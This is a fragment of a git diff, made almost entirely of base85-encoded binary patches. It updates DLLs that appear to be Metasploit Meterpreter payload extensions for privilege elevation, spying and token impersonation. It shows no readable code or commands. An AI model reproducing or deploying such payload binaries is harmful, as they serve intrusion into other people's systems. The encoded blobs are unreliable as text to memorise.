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 PT7exn6`s{=*z)`@$J|9- literal 0 HcmV?d00001 diff --git a/data/meterpreter/elevator.x64.dll b/data/meterpreter/elevator.x64.dll index b8ccc6f20f4598776026a4024a5e32f4fb0d02de..2b5e4f408cfa4e87db603a2cb0beb7eae42de908 100755 GIT binary patch delta 32 mcmZp;!_shvWx@yMkh08)pM9A$R&I7;yz~#m-73!bQWpU5p$+-~ delta 32 mcmZp;!_shvWx@yMvi&X-Kl?H%TW@w^yz~#m-73!bQWpU7TMiQd diff --git a/data/meterpreter/elevator.x86.dll b/data/meterpreter/elevator.x86.dll index 6bf61b60da35576c96688dbb29307000706f491e..9fad934417d10b76aff466116e62e954b0b72d5c 100755 GIT binary patch delta 32 mcmZpe!O}2;Wx@w$;j+w$pM9B<>r3nDoLk&g% diff --git a/data/meterpreter/ext_server_espia.x64.dll b/data/meterpreter/ext_server_espia.x64.dll index 07e648b7afb38975f6956072c3ea2dff6ddec4f1..c0e822827f59eb9fb4b75b7ce9a59b98ab846d25 100755 GIT binary patch delta 41 vcmZqJz|*jSXTk^O__EB2pM9C^)tj9d+npF0w>vR11ziORZ=ZgRDbo=EO8gHv delta 41 vcmZqJz|*jSXTk^O?)@$kKl?KI?re5qYBP{+el}2>?dG4|xCp delta 43 xcmZoTz|(MmX9EW#v(bK+$=r;-Ovi(pqZr$x7#X)mF*5yn2@>BP{+el}2>?QA4_W{K diff --git a/data/meterpreter/ext_server_incognito.x64.dll b/data/meterpreter/ext_server_incognito.x64.dll index 0262601a99571b6dec93d9d4e8f02a16db4ac56d..f38cc5e762fb26b3ce905f44685f934e29b808c3 100755 GIT binary patch delta 19951 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 